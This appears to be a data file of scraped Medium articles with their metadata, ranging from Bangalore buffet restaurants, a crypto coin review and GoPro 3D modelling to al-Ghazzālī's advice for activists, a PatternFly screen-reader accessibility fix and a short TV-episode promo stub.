6. Sattvam Restaurant
Sattvam is one of the best restaurants for buffet in Bangalore. Sattvam is serving especially north Indian dishes and it is not so easy to make all the dishes without onion and garlic but they have done it.
If you are a pure vegetarian and looking for authentic vegetarian foods then you must visit this restaurant because this one will be your perfect destination.
The restaurant is featured with fantastic ambiance along with a very comfortable seat and tables so you can easily seat and enjoy your preferred dishes.
Sattvam is good for groups, get together, friends and family. The good thing is whatever the variety they are providing is holistic and each dish is so tasty without adding any onion and no garlic.
7. The Tao Terrace Restaurant
The Tao Terrace is in Bangalore 1MG mall. This restaurant is serving a fantastic Asian package in one single fine-dining destination, and this is one of the best restaurants for buffet in Bangalore. The restaurant is fantastically always decorated and providing a romantic ambiance.
If you are on a date and you are looking for the best restaurants in Bangalore MG Road then the tao terrace will be your great choice to visit.
They are providing the best place for couples to have their great and memorable times. You must try their signature dishes like chicken satay, pork ribs, and mouth entering sushi.
8. Yauatcha Restaurant
I am sure you have already heard this name because Yauatcha becomes a world-famous restaurant group and this is also the best places for food in Bangalore. So, I will describe in a few words about this Yauatcha restaurant in Bangalore MG Road especially.
As I know all Yauatcha has similar decor and ambiance but I will talk about food taste. This Bangalore Yauatcha will give you another level of taste compare to other Yautcha.
You must try here some dishes like King Pao chicken, luscious dim sums, Schwan noodles, and some refreshing beverages. This is also one of the best restaurants for buffet in Bangalore I am sure you will feel some difference here.
9. The Globe Grub Restaurant
This is the Bangalore-based fine dining family restaurant. The restaurant is providing mouthwatering foods from various cuisines, and this is the best restaurants for buffet in Bangalore.
They are offering Indian to North Indian, Asian to continental and of course don’t forget to have their Italian food, especially if you are a pasta lover.
The restaurant is designed with a simple interior and on the celling hanging with a bulb which providing classical looks. The place is perfect for friends, family, and groups.
If you visit this restaurant then you must try their special dishes Butter chicken, Tangdi kebab, Mutton seekh kebab, and vegetable platter. this is one of the top restaurants for buffet in Bangalore.
10. The Permit Room
The permit room is offering one of the best South Indian food with an amazing presentation. This is a perfect hang-out place and they are always offering a magical ambiance.
In this restaurant, every corner has a fresh story to present, and the vibes you will get that is unique from the other restaurants.
This is the best South Indian restaurant in Bangalore MG Road for sure. You must visit this restaurant and try their Iynger’s Bakery Egg Puff and Egg Benedict.
11. Lapis Restaurant (Oberoi Hotel)
Another best restaurant in Bangalore MG Road. Lapis is in the world-class hotel The Oberoi Bangalore. This is an all-day vibe restaurant serving international cuisines and authentic Indian food.
The Lapis promise always legendary hospitality in a setting that captures the spirit of nature, Lapis blue ceiling, large French windows, and endless garden views. This nature-friendly world-class restaurant will give you an unforgettable outdoor dining experience.
12. ASEAN — On the Edge Restaurant
ASEAN — On the Edge is another award-winning restaurant and the best restaurants for buffet in Bangalore at the ivory tower hotels. This restaurant is widely loved by Bangalore for its delicious foods and view.
This restaurant also providing the best city view and amazing open-air sitting. If you visit this awesome restaurant then I am sure you will enjoy the outstanding and legendary weather and your dining memory will be cherishing. | https://medium.com/@skrupchand570/12-best-restaurants-for-buffet-in-bangalore-asruptravels-5eef3fb06de2 | ['Rupchand Sk'] | 2021-06-22 08:19:30.685000+00:00 | ['Restaurants Near Me', 'Bangalore', 'Buffet', 'Restaurant', 'Restaurants In Bangalore'] |
Ontology — Review November 2018. cryptoindex-io (45) в money • 1 минуту… | Cryptoindex is a tool for exposure to the cryptomarket and serves as a smart benchmark for all cryptocurrencies. The AI-based Cryptoindex algorithm is continuously analyzing more than 2000 coins applying over 200 factors, processing more than 1 million signals per second to provide a highly sophisticated index of the top 100 coins.
You can find our previous reviews here:
0x Protocol [ZRX] Review. November 2018.
Maker. Review — October 2018
Dogecoin Rewiew
Tether. Review
VeChain. Review
Why Cryptoindex is unique?
Zcash.Review
Tezos. Review — September 2018
Monero. Overview
Binance Coin. Review
IOTA. Review. August — 2018
NEM.Overview
Ethereum Classic.Review
TRON overview.
Cardano — review. Future plans.
Ripple — review. Further Perspectives
Litecoin. June’18 overview
The Dow Jones index. From where did it come to us?
Bitcoin Cash. June 2018 overview
Are cryptocurrency indices a new crypto market trend?
EOS. End of May’18 overview
Ethereum. May 2018 overview
Here on our Cryptoindex blog, we will be posting 100 articles about each of the top performing coins selected by our powerful AI algorithm#CIX100coinreview.
Today’s review: Ontology
What is Ontology?
Ontology Cryptocurrency (ONT) is a digital token used within the Ontology global network. The project was created in 2017 under the leadership of the Onchain company. The main task of the developers of Ontology is to create a platform that acts as a bridge between the real world and the digital one. The Ontology project will become a platform for the introduction of blockchain technology into various enterprises, financial and educational institutions that can interact with each other within the Ontology network. In addition, the Ontology network will be connected to a larger (public) blockchain, such as NEO.
The core of the Ontology project is a technology or principle named Ontology Trust Framework. It means that all members of the network will be able to express trust in specific companies through a vote, which will create a trusting ecosystem. One of the main parts of this structure is an anchor of trust, a user or a group of users who determine what they “trust” in and whom. The nodes connected to each other from each of these trust bindings form a kind of branch (which they call trust path), and it can be traced to a trusted binding.
Ontology is a multi-level network that allows companies to interact with each other. The developers created a decentralized application implemented on platforms such as NEO, Ethereum, EOS. Thanks to specially developed protocols and APIs, companies are able to develop the necessary blockchain solutions without the help of programmers. The management of companies can independently transfer the structure of the activities to the blockchain, using the Ontology platform as a consulting firm.
The structure has several levels. Firstly, it is a test of people, things, and services; then at the next level you have applications that also need to be tested; further, modules, APIs and protocols; the last level includes matching of the chain entity and data transfer.
An Ontology should be modular and flexible, giving enterprises the ability to change and expand things according to their own needs, rather than looking for ways to fit their own needs to the platform.
Ontology is a trust structure that focuses primarily on trust, authentication, and secure data transmission, while NEO is a more traditional block-code with a currency of its own, which focuses on transactions related to buying, selling, and trading assets.
Ontology is developed by Onchain, a private company focused on blockchain solutions, while NEO is a separate project fully funded by the community. Having NEO tokens gives you Ontology tokens when you start a network of ontologies. Technically, these two platforms are designed to work together, with an ontology that provides a secure trust structure, and ONT — a means for conducting transactions.
An interesting feature of the project is that the developers did not conduct an ICO or a sale. Today, the only way to get tokens is to distribute them to NEO cryptocurrency owners on the stock exchanges — airdrop. For each NEO coin, 0.2 ONT is issued. At the same time, 50% of the received tokens are available for trade. The next 50% are blocked. You can use the Neon Wallet wallet to store your digital asset.
All projects aimed at integrating modern technologies into an existing business will have a good future. The level of success a project will receive directly depends on the development team and marketing specialists. The success of Ontology depends solely on the Chinese government, which at the moment is “playing a long game” against blockchain projects and cryptocurrencies. As soon as China gives green light to the blockchain projects, we will immediately see a sharp influx of customers at such sites as Ontology and similar projects.
At the time this article was published, Ontology makes up 0.297% of the total of CryptoIndex portfolio.
What do you think about this coin?
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Follow CRYPTOINDEX on Reddit | https://medium.com/cryptoindex-io/ontology-review-november-2018-2f98e67200e3 | [] | 2018-11-26 10:04:10.788000+00:00 | ['Cryptoindex', 'Ontology', 'Coin', 'Bitcoin', 'Cix100'] |
No drone? GoPro ahead | GoPro Hero 5 Black and Pix4D to make 3D models
Kengo Kuma’s “Under One Roof” design for the ArtLab building definitely qualifies as #ArchitecturePorn. It just opened its doors in Switzerland at the EPFL campus, and while the finishing details were being put in place, we took a GoPro Hero 5 Black and walked around the building capturing images to create a shareable 3D model in Pix4D software. This way, everyone can get closer to this geometric poetry, materialized in black slate, metal and wood.
Using a GoPro Hero 5 Black for Terrestrial 3D Modeling
Hero 5 Black GPS feature
GPS tags register the latitude, longitude and altitude of the camera position when each image is taken. When computing images to create a 3D model, this data enables Pix4D software to correctly locate, scale, and orient each picture, enhancing results and speeding up processing. When using a camera with built-in GPS tagging like the Hero 5 Black, coordinates are included in the EXIF data, with no need to use an external GPS logger. Image geolocation is added automatically in the software.
This is why the GoPro Hero 5 Black is ideal for image-based 3D modeling, whether using alone for terrestrial mapping, or in combination with the GoPro Karma drone for aerial mapping.
Camera settings and image capture for easy 3D modeling
To capture images suited for terrestrial 3D modeling, the best setting is the image timelapse mode. The highest resolution image (12mp) and the wide image modes should be selected. Trigger the camera shutter button and walk around your object of interest, adjusting the walking speed in function to the object distance. This is important to ensure that the image-capture-time-lapse results in sufficient image overlap for consecutive images.
Processing with Pix4Dmodel software
Pix4Dmodel is a photogrammetry software that uses images to create professional 3D models.
Visualization of image location in Pix4D software rayCloud, with original images shown at right.
The software identifies unique points in the pictures and generates a 3D point cloud to reconstruct the object in 3D; the model can then be shared online or uploaded to a 3D visualization platform like Sketchfab.
The Building
Attracting attention in the architecture and design scene, the ArtLab building claims daring angular geometry that resembles a folded origami piece, topped with a black slate roof of nearly 250-meters. Designed by Kengo Kuma & Associates, it opened its doors Thursday, November 3rd.
EPFL, École Polytechnique Fédérale de Lausanne, is one of the most important international research hubs in Switzerland. | https://medium.com/the-science-of-drone-mapping/no-drone-gopro-ahead-6e434546aacc | [] | 2016-11-04 12:47:22.541000+00:00 | ['Design', 'GoPro', 'Drones', 'Architecture', '3d Modeling'] |
Stop, Your First Draft Is Never Going to Be Perfect | One of the most intimidating parts of writing a novel is the infinite number of possibilities. You can take your story up, down, sideways, or all around.
How should my character act? What words do I use to portray this next scene? Should I use this idea or the one I had earlier? You don’t know if there’s a right or wrong answer.
These struggles probably sound superfluous — but here I am, having them. Writers advise we follow the characters, but I think my protagonist is just as indecisive as I am.
Still, I didn’t want indecisiveness and confusion to stop me. I wanted to embrace it and use it to my advantage. So, I decided to write and write (and write a bit more) until I found the right words.
If you’re like me and you don’t know which direction to take your story, do what I’m doing: write everything.
Take it one sentence at a time — even if they’re terrible. | https://itxylopez.medium.com/if-you-want-to-write-a-book-take-it-one-sentence-at-a-time-284e3eeabbc | ['Itxy Lopez'] | 2020-02-29 17:19:03.838000+00:00 | ['Creativity', 'Advice', 'Books', 'Writing', 'Writing Tips'] |
Elective AML-KYC and the MonetaryCoin Series | AML-KYC stands for Anti-Money Laundering Know Your Customer, a series of best practices applied by financial institutions to reduce crime.
After the KYC feature is released, the MonetaryCoin series (MERO and MCHI today) stakeholders may elect to add or subtract AML-KYC information to a MonetaryCoin wallet address. It then falls to the receiving party to verify the accuracy of the personal information. Most parties insisting on AML-KYC are regulated financial institutions with verification and record keeping processes.
If you ran an ICO without gathering and securely storing AML-KYC information about your investors, fiat banks may refuse to open an account for your company. In future, when banks begin to more commonly trade crypto, transaction by transaction AML-KYC data may be required in some cases.
MonetaryCoin Series AML-KYC data are not visible on the blockchain because they are encrypted and stored off-chain. This feature reduces the potential network drag caused by each address carrying increasing amounts of otherwise irrelevant data. A hash of the AML-KYC data is stored on the blockchain but only the recipient address owner can attach the hash to the off-chain data and decrypt its content. This reduces the risk of exposing sensitive information to unrelated parties. To restore anonymity, a sender may abandon its wallet address and create a new one after the transaction.
Abandoning a wallet reminds me of Jaqen, the faceless man, from HBO’s hit series, Game of Thrones. Jaqen mystically changes faces at will, though he does possess an original identity. When the wallet identity is no longer useful, simply abandon it similar to the way Jaqen changes faces.
Jaqen gives his coin to Aya Stark in HBO’s hit series, Game of Thrones
Their are plenty of ways to be anonymous in crypto, a MonetaryCoin can do that too — or it can be a way to self-identify without permanently identifying. The choice is yours. | https://medium.com/monetary-protocol/elective-aml-kyc-and-the-monetarycoin-series-ef681f8f59ee | [] | 2018-08-16 06:12:31.847000+00:00 | ['Monetarycoin', 'Blockchain', 'Cryptocurrency', 'Ethereum', 'Bitcoin'] |
7 Myths That Are Very Exaggerated in American History | American history is filled with some amazing stories. The thing is, some of them aren’t exactly true. Just like any country’s history, the United States has plenty of historical records that are really just great exaggerations. Many of these exaggerations have been repeated so often that we no longer recognize them as myths. We simply assume that they are a true and bona fide part of our history. Still, it’s good to know the truth behind some of these myths, as well as what’s been made up, changed, or exaggerated. Read on for 7 of the most persistent U.S. history myths.
1. The colonists first declared independence on July 4th, 1776
Since this is the date on the Declaration of Independence that we have today, we assume this was the day that the declaration was made. In reality, the Continental Congress voted for independence and drafted the first document on July 2nd. When a revised copy was adopted on the 4th, it was re-dated, and that was the date that stuck in history.
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Tags: WORLD HISTORY, MUSEUMS, BLACK HISTORY, HISTORY OF SCIENCE, SPORTS HISTORY, WOMEN’S HISTORY, MILITARY HISTORY, BRITISH HISTORY, BIG HISTORY, MARTIN LUTHER KING JR., POLITICAL HISTORY, ART HISTORY, HISTORY OF SLAVERY, THE ARTS, CANADIAN HISTORY, GENEALOGY, NATURAL HISTORY, INDIAN HISTORY, EUROPEAN HISTORY, DOCUMENTARIES, ART GALLERIES, PAINTING, METROPOLITAN MUSEUM OF ART, MUSEUM OF LONDON, CONTEMPORARY ART, AVANT-GARDE, MODERN ART, MUSEUMS OF FINE ARTS, ARTISTS, SCULPTURE, MOMA, ANTHROPOLOGY, ETHNOGRAPHY, EGYPT, PREHISTORY, WORLD HISTORY, MUSEUMS, BLACK HISTORY, HISTORY OF SCIENCE, SPORTS HISTORY, WOMEN’S HISTORY, MILITARY HISTORY, BRITISH HISTORY, BIG HISTORY, MARTIN LUTHER KING JR., POLITICAL HISTORY, ART HISTORY, HISTORY OF SLAVERY, THE ARTS, CANADIAN HISTORY, GENEALOGY, NATURAL HISTORY, INDIAN HISTORY, EUROPEAN HISTORY, DOCUMENTARIES, ART GALLERIES, PAINTING, METROPOLITAN MUSEUM OF ART, MUSEUM OF LONDON, CONTEMPORARY ART, AVANT-GARDE, MODERN ART, MUSEUMS OF FINE ARTS, ARTISTS, SCULPTURE, MOMA, ANTHROPOLOGY, ETHNOGRAPHY, EGYPT, PREHISTORY, | https://medium.com/@sciencenewss/7-myths-that-are-very-exaggerated-in-american-history-1b036f124ca5 | ['Science News'] | 2021-03-18 10:29:34.009000+00:00 | ['Museums', 'World History'] |
An example of media are materials used in the fine arts such as paint and clay. | An example of media are materials used in the fine arts such as paint and clay. … An example of media are CDs and DVDs. An example of media are newspapers, television, radio, printed matter, Internet information, and advertising. There are three main types of news media: print media, broadcast media, and the Internet. Media is the communication outlets or tools used to store and deliver information or data. The term refers to components of the mass media communications industry, such as print media, publishing, the news media, photography, cinema, broadcasting (radio and television), and advertising. Gives us immense knowledge & transmits information — Media keeps us informed about various happening around the world. It lets us know what is happening around us and all over the world. With the help of the media, we get immense knowledge of various subjects. Media plays a vital role in the dissemination of information. Advances in communication, largely through the internet, have improved community access to information. Therefore the media play an important role in society as a source of information, but also as a “watchdog” or scrutinizer. … However, the media is free to select the stories they consider important or interesting.
Martin Vidal Stacy Cellier-Gomez Theresa Smith Chris Smith Steven Tyndall Shirley J. Davis Peter D. Kaizer Pierre Rognion Camille DeAngelis
WebdesignerDepot Mandy Edwards Rebecca Lynn Freddy Daniel Garcia Paul Fairweather | https://medium.com/@m-ammarthegreat/an-example-of-media-are-materials-used-in-the-fine-arts-such-as-paint-and-clay-2e257279064e | ['Muhammad Ammar'] | 2020-12-28 12:53:23.978000+00:00 | ['Google', 'YouTube', 'Yahoo', 'Bitcoin', 'Mozilla'] |
Islamic activists need to learn from Imam al-Ghazzālī | Imam Abū Ḥāmid al-Ghazzālī in his magnum opus, Ihya Ulum al-Din, supports a series of searching recommendations that I would have, regretfully, scoffed at many years ago when starting in the world of Islamic activism. Yet at the same time, I was ready to quote al-Ghazzālī when his statements accorded with my worldview.
But study, time and events have enabled me to realise that his central recommendation in his chapter on knowledge, to discipline the soul, is one of the most important personal duties of any Muslim that seek to engender a social or political change. Like the public debaters al-Ghazzālī encountered at his time and whose number al-Ghazzālī once belonged, those that gain prominence through public activism are trialled by a host of negative traits, which if not recognised and addressed, can lead one to troubling places.
I would highly recommend that all Muslims, especially young Muslims, embark upon an in-depth study of his Ihya in its broader work and find a means to set up mechanisms for ongoing personal self-reflection and correction.
In this regard, good companionship is key. If your peer group only consists of brash people; that criticize and knit-pick, have a disdain for Muslims that do not share your worldview, deny the need for self-reflection and are used to backbiting then inevitably you will be a party to the acquisition of these traits. Sadly, I observe too many young brothers that come to Islam with sincerity, yet the many negative effects of activism obscure their minds and muddy their priorities.
This is not to deny the enormous social and political change that is required today and young people are key to producing the creativity that is sorely needed in the Islamic da’wa space. But with any attempt to make change externally, there must be a carefully thought out project to create an internal transformation. Unfortunately, many activist outfits prioritise the former but give scant attention to the latter. As a result, their people often do more harm than good, contributing to divisiveness in our community that polarises an already fractious landscape. One such example is how these activists are quick to pick up on faults of others, especially scholars, often based on interpretations of interpretations yet are ready to give their own leaderships and scholars a free pass. Husn udh-Dhann only applies to the ‘righteous’.
Part of the problem is how, to convince the young to a cause, the recruiters attach exceptionalism to their groups. One is part of an association that is inspired by a prophetic work and emulates the path of the Sahabah. Their elders are lionized, and a myth surrounds the social movement to the degree that the good works of others become the subject of disdain and even pity. Instead of seeing their work as part of a patchwork of activities that help elevate the ummah, they attach an exaggerated status to their efforts. At a time where unity is in short supply, they sow discord.
Islamic activism of its various kinds is required, but the dangers that come from it must also be understood and addressed through a serious programme of development that utilises the breadth of past Islamic scholarship.
Here are some pertinent remarks from al-Ghazzālī
On disciplining the self
If you are longing for the hereafter, seeking salvation and flight from eternal damnation, then pursue the science of inward diseases and their remedies… that’s because once the heart is cleansed from what is blameworthy, it is filled with that which is praiseworthy. Just as the soil where all kinds of plants and flowers would grow as soon as the grass is weeded out. Without this removal, no plants nor flowers would germinate.
On focusing on others without first looking at yourself
He who would spend time in pursuing what would reform others (before he reforms himself) is weak-minded. How foolish is the man?
On the rotten heart
It should be known that he whose heart is saturated with anger, greed, indulgence, and readiness to slander people is a beast as far as its content is concerned, although in a form of a human being.
On the negative traits that develop in the debaters
…It should be known with certainty that debates are devised to overcome and silence an opponent as well as for displaying one’s excellence and honour, big-headedness in the sight of people, boasting, showing off, or attracting the elite. These are the main sources of all blameworthy traits in the Sight of Allah and praiseworthy in the sight of Satan, His avowed enemy.
On picking up on faults of others as a means to debate
People should safeguard themselves against lies and against those stories which point to trivial faults and compromises which the public fail to understand or fail to observe that they are nothing but rare and slight faults being followed by atonements and rectified by good deeds that are supposed to cover them up.
On shortcuts to gaining a following
But as long as prestige requires a following then nothing attracts a following better than bigotry, cursing and slandering opponents. They have adopted fanaticism as their rule of conduct and their method of approach and call it a defence of religion and protection for the Muslims, even though it leads to nothing but the destruction of all people.
On seeking the truth from your adversary
A debater should seek after the truth in the same way as he is searching for a lost thing and it is the same to him, whether the truth appears at his hand, or at the hands of anyone who helps him. He regards his companion as a helpful friend and not as an adversary and gives thanks to him in case he drives him to a mistake and shows the truth to him. His example is like the one who follows a particular path in search of his lost possession. His companion draws his attention to the fact that his lost thing is on another way, which he should follow to find it. In this case, he should not criticize him as much as he should appreciate his deed, honour him and rejoice with him.
On the emptiness of the debaters
Consider the debaters of your time now, how the colour of the face of anyone of them would grow black (out of grief) if the truth becomes clear on the tongue of his opponent. How he would disregard it and exert his utmost effort to refute it and how he would criticise for a lifetime the one who has silenced him.
On how Shaytaan leads the debaters astray
Just as the person who has been given the free will to choose between intoxication and the other sins, regards the intoxication as the slightest [sin] which he took up, only to be led by his intoxication into committing all the other sins. So is he who surrenders to the love of overcoming and silencing opponents in debate, falls victim of the desire for power and boasting.
On insincerity
The debater keeps eating the flesh of the dead, as shown from his secondary reporting of the speech of his adversary, in an attempt to traduce him. As far as he is eager to be truthful in relating his speech, he is mainly concerned with the portions of his speech which show only the points of weakness of his arguments, and the inferiority of his excellence; and this is backbiting, while lying is sheer calumny.
On attacking your opponent
The debater could not keep his tongue from dishonouring anyone who turns away from him and that listens to his opponent. He would even ascribe to him the labels of ignorance, foolishness, lack of understanding, and stupidity.
On hypocrisy
Hypocrisy also is one of those blameworthy traits, and there is no need for evidence to criticise and condemn it. Nevertheless, they need it in their debates, for when they meet their adversaries, lovers and devotees, they could find no way but to make themselves lovable to them by good speech and showing longing for them and high estimation for their positions and lives.
On duplicitousness
They show love to each other only with their tongues, even though mutual hatred lurks in their hearts.
These are just some select quotations from the great scholar, Abū Ḥāmid al-Ghazzālī in his chapter (quarter) on knowledge. | https://medium.com/@thinkingmuslim/islamic-activists-need-to-learn-from-imam-al-ghazz%C4%81l%C4%AB-f8a1e07e9366 | ['Muhammad Jalal'] | 2020-08-16 09:34:12.971000+00:00 | ['Imam Ghazali', 'Islam', 'Muslims'] |
Don’t fence me in: Unblocking accessibility issues with customer feedback | Don’t fence me in: Unblocking accessibility issues with customer feedback
Learn how OpenShift and PatternFly use customer communication in their mission to support UX in which all users can roam free. Joe Caiani Follow Dec 21, 2020 · 8 min read
Cowritten by Joe Caiani and Jessie Huff
Photo by Jessica Da Rosa on Unsplash
“Oh, give me land, lots of land under starry skies above Don’t fence me in…” — Cole Porter
Roadblocks in our daily workflow? We’ll pass.
Unplanned delays, context-switch whiplash, crossed fingers, and looming frustration are all unwelcome symptoms of encountering unforeseen blocks in our day-to-day. Putting a blocked task aside to tackle new ones leaves us with a trail of lingering follow-ups and hopes that, at some point, we’ll return to find it unblocked. This process is a surefire ticket for mental exhaustion — and that doesn’t even get into the consequences reaped from leaving essential tasks incomplete.
For Red Hat OpenShift users, blocked tasks mean blocked software deployments, potentially fencing in a user’s entire workflow.
So when we heard a user was being blocked from task completion in OpenShift, it certainly caught our attention. How did this accessibility issue slip through our usability testing?
We’re Joe Caiani and Jessie Huff, Principal UX Developer and Front End Developer on Red Hat’s User Experience Design team, and this is our component comeback story.
Part 1: Joe investigates an incoming bug describing blocking behavior in OpenShift’s context switcher
In the software world, a blocking bug will halt a release’s entire deployment, meaning stakes were high for a particular user who reported blocking behavior when trying to switch between Administrator and Developer contexts in OpenShift. The bug details revealed the bug impacted a non sighted user working with a screen reader. Because I’m a UX developer on Red Hat’s UXD team, I’d been exposed to screen readers and was aware that our components undergo some testing for them. Since OpenShift uses a mix of in-product and PatternFly components, I investigated the component in question to verify its identity and origin. I found the blocks occurred within a PatternFly dropdown component.
Our PatternFly team is passionate about their mission to create components that are accessible for all users, so I knew they’d be eager to solve this accessibility issue. In order to do so, we needed more information — I followed up with our customer to learn his screen reader type, version, and browser: JAWS 2019 on Google Chrome. Then, I looped in UXD accessibility experts so that we could investigate, discuss, and tackle the blocking issue together. That’s where Jessie comes in.
Part 2: Jessie leads a PatternFly investigation into dropdown component functionality and solutions
When Joe first mentioned that a customer was having difficulty with using the dropdown in a screen reader, I was a bit surprised. Recently, we’d examined the console with an accessibility lens, and I recalled that it worked great with VO and NVDA. To determine next steps, we needed more information from our customer: Which screen reader were they using, and with which browser? Often, it’s easy to assume that all screen readers will interact the same way, but it’s crucial to test each one due to the variability between them.
JAWS on Chrome 2019 — ah, well that likely explained it. From my anecdotal experience, testing in JAWS can be cumbersome, so it isn’t tested as frequently as other readers like VO or NVDA. The JAWS-testing odds were stacked against us: Our development team works on Macs incompatible with JAWS, and JAWS itself isn’t open source — they require a license. Without a license, tests can only occur in 40-minute windows, meaning JAWS is much more difficult to test in practice. My test flow involves two screens: I display my work on my work computer while running tests on my personal one. To begin a new JAWS testing session, I need to throw my work into a preview platform like Surge on my work machine, then run over to my personal one, restart it, and launch the JAWS application — all before I can even look at the test’s corresponding pull request (PR) review. JAWS testing requires you to restart your computer each round to ration 40-minute testing periods without the option to set content up in advance, a frustrating mechanism that makes accessibility testing, well… fairly inaccessible.
Despite these hurdles, I was able to set up a JAWS testing environment to reproduce our customer’s blocking issue. I opened the OpenShift cluster with my JAWS testing software on Chrome, and voila, I experienced the console exactly how the customer did.. He wanted to switch from the Administrator view to the Developer view to complete the rest of his tasks. WhenJAWS navigated to the dropdown, it announced that the dropdown was present, open, and interactive with the up and down arrow keys — but pressing said keys didn’t shift focus, and the menu items weren’t announced. Like our customer, I was effectively blocked. Definitely an accessibility bug!
A video recording of our JAWS dropdown testing, in which we recreated our customer’s block.
As I mentioned before, variability between screen readers and browsers makes testing them and talking to customers even more important. For JAWS users, their selected browser heavily influences how markup is interpreted.
Freedom Scientific, the creator of JAWS, underscores this pivotal relationship between browser type and JAWS ARIA support and interpretation:
“Most browsers support some type of accessibility API (application Programming Interface), and assistive technologies use the API to get information about what is presented on the screen. So, ARIA markup is transformed by the browser into information that fits the accessibility API it supports. Then, the information provided by the API is processed by the assistive technology. That means JAWS support of ARIA depends heavily on the browser being used.”
We observed this browser influence in action. When we tested our dropdown component in other browsers like Firefox, it seemed to function, which pinpointed that its dysfunction in Chrome stemmed from a strange interaction between JAWS and that specific browser.
Part 3: Jessie and PatternFly recode and retest potential accessibility solutions
With the origin of our customer’s issue found, it was time to test potential fixes. Our team tested a number of different ideas including:
Altering the added aria with aria-haspopup and aria-controls to communicate functionality to JAWS
Following different example structures
Adding delays to wait for JAWS to register the dropdown menu
Using aria-live in hopes it would tell JAWS the menu was getting rendered
All without success. Our dropdown component uses custom keyboard interaction, which made hunting for a solution all the more challenging. We exhausted a wide array of avenues, from standard guidelines to more unconventional approaches. Brainstorming played a key role in our search for a viable way to fix this accessibility snag.
One particular brainstorming session inspired the solution that carried us home: Adding an event listener after click, allowing JAWS to interact with the dropdown after it’s opened while also allowing users to switch between their mouse and keyboard.
A video demonstrating PatternFly’s fix to the previously blocked dropdown component.
I nearly jumped out of my chair when I finally heard the oh-so-charming JAWS voice announce my dropdown items. I was excited and relieved to finally have a successful fix.
Part 4: Jessie, Joe, and the PatternFly team reconnect with the user
Next, we needed to verify our fix with our OpenShift customer to ensure it addressed all of his concerns. I reached back out to Joe to set up a meeting with the customer and asked one of my coworkers, Jenn, to try it in JAWS as well so we could get another pair of eyes on our solution.
Our customer was incredibly helpful and agreed to meet with us to evaluate our work in an OpenShift context.
In our meeting, we walked through his thoughts and expectations about the dropdown component, and confirmed that we had in fact fixed his issue. (Hold on for a minute while I get my pom-poms and start cheering.)
Our accessibility-solution happy dance.
Along with confirming the success of our solution, this meeting also surfaced another fix we needed to tackle to strengthen dropdown functionality for JAWS users.
During our solution walkthrough, we noticed that the user wasn’t repeating the disabled items in the dropdown as he navigated through it.
After interviewing him about the disabled items, he confirmed that his expectation was that these were indeed not announced by JAWS but should be announced as disabled or unavailable. This discovery inspired yet another PR solution allowing the disabled items to receive focus and therefore be announced by JAWS.
The best part about all of these accessibility fixes is their reach — they don’t just impact and improve OpenShift; they improve the accessibility of all products that use the PatternFly dropdown component, too!
This customer’s experience inspired even more PatternFly improvements as we continue to test with JAWS, following a similar pattern with the options menu and application launcher components. One short conversation with our customer extended into accessibility improvements across the board.
Part 4: The PatternFly and OpenShift teams unblock all instances of the dropdown issue
After the two PR’s were merged in PatternFly, we updated our dependencies in OpenShift to pick up the accessibility code. In a few simple clicks, all instances of the PatternFly dropdown in OpenShift were cleared of any JAWS-based roadblocks! Since PatternFly does provide a lot of accessibility research and testing already, we’ll use this experience to elevate that base by using customer-centered interactions to detect, decode, and solve similar issues.
Part 5: PatternFly and OpenShift will repeat this process in the future, for everyone’s benefit!
Our experience with OpenShift’s dropdown is just one example of accessibility issues that can sneak past initial accessibility testing. We’ve boiled our experience down into six key steps you can use to reach beyond usability testing to build more accessible and inclusive UX. We like to call them the 6 R’s:
1. Research
Inspect your user’s problem, bug details, and work environment. Ask questions to dig deeper into your user’s specific experiences.
2. Recreate
Simulate your user’s workflow and task goals in the same environment to uncover the source of their block.
3. Recode
Experiment with ways to solve the accessibility issue and improve similar UX scenarios across your product.
4. Retest
Run your solutions through in-depth testing to reflect their success.
5. Reconnect
Touch base with your user to verify your solution addresses their needs.
6. Repeat
Unblock all instances of the issue by updating code dependencies, guidelines, and more. Keep channels of communication open so that customer feedback and guide similar accessibility fixes in the future.
We hope our OpenShift and PatternFly story inspires you to follow a similar customer-focused approach to build and support more inclusive product experiences for users of all backgrounds.
When it comes to building accessible product experiences, no one deserves to be fenced in.
“Let me ride through the wide-open country that I love Don’t fence me in…”
For more accessibility information and testing guidance for accessibility issues, see PatternFly’s accessibility guide.
Have a story of your own? Write with us! Our community thrives on diverse voices — let’s hear yours. | https://medium.com/patternfly/accessibility-issues-ux-customer-feedback-a9304e7e36e2 | ['Joe Caiani'] | 2020-12-21 15:18:19.101000+00:00 | ['Patternfly', 'UX', 'Accessibility', 'User Research', 'Development'] |
They all got crowns | They all got crowns
Debunking the dynamic of pitting pop divas against each other, with an exploratory data analysis on their strengths
If you, like me, are the kind of person that takes pop music seriously, chances are you have already been involved in heated discussions about pop divas. More often than not, arguments regarding this matter end up pitting women against each other and reinforcing the musical industry’s deeply rooted misogyny.
One of the reasons it may not be fruitful to engage in this discussion of trying to find the ‘best’ pop diva is that, just like everybody else, they all have their strengths and weaknesses. Using one’s strength to compare all others not only misses the point, but doesn’t give them enough credit for going through everything they went about to bring such an amazing body of work to us, the fans.
Thus, we’re not going to focus on such discussion.
We can’t argue with the fact that music revolves around our personal preferences and experiences. In so, what you’ll read below is not only a testament to each of these artists work, but a moment to reflect on what it is about it that resonates with you so much you're willing to fight to defend it.
By doing so, and being really open and curious, we’re not only gaining a more granular knowledge on our musical taste, but also rewriting this false narrative of comparison to a more respectful one, enhancing and lifting all these amazing women at the same time.
To do so, we collected data from Spotify and Genius, and we will dive into the full discography of nine pop divas (Beyoncé, Taylor Swift, Ariana Grande, Rihanna, Lady Gaga, Madonna, Mariah Carey, Britney Spears and Katy Perry), using twelve variables to analyze their songs (danceability, song duration, speechiness, energy, lyrics emotion, sound emotinal, among others). To this analysis, we just considered these artists solo projects.
Let’s go? | https://towardsdatascience.com/they-all-got-crowns-fbe4c29641c8 | ['Adauto Braz'] | 2020-07-30 20:50:53.392000+00:00 | ['Music', 'Pop Culture', 'Data Science'] |
The Bachelorette 2020 (S16E13) “Week 13” (Full Episode) on ABC [HD 720p] | New Episode — The Bachelorette Season 16 Episode 13 (Full Episode) Top Show
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🦋 TELEVISION 🦋
(TV), in some cases abbreviated to tele or television, is a media transmission medium utilized for sending moving pictures in monochrome (high contrast), or in shading, and in a few measurements and sound. The term can allude to a TV, a TV program, or the vehicle of TV transmission. TV is a mass mode for promoting, amusement, news, and sports.
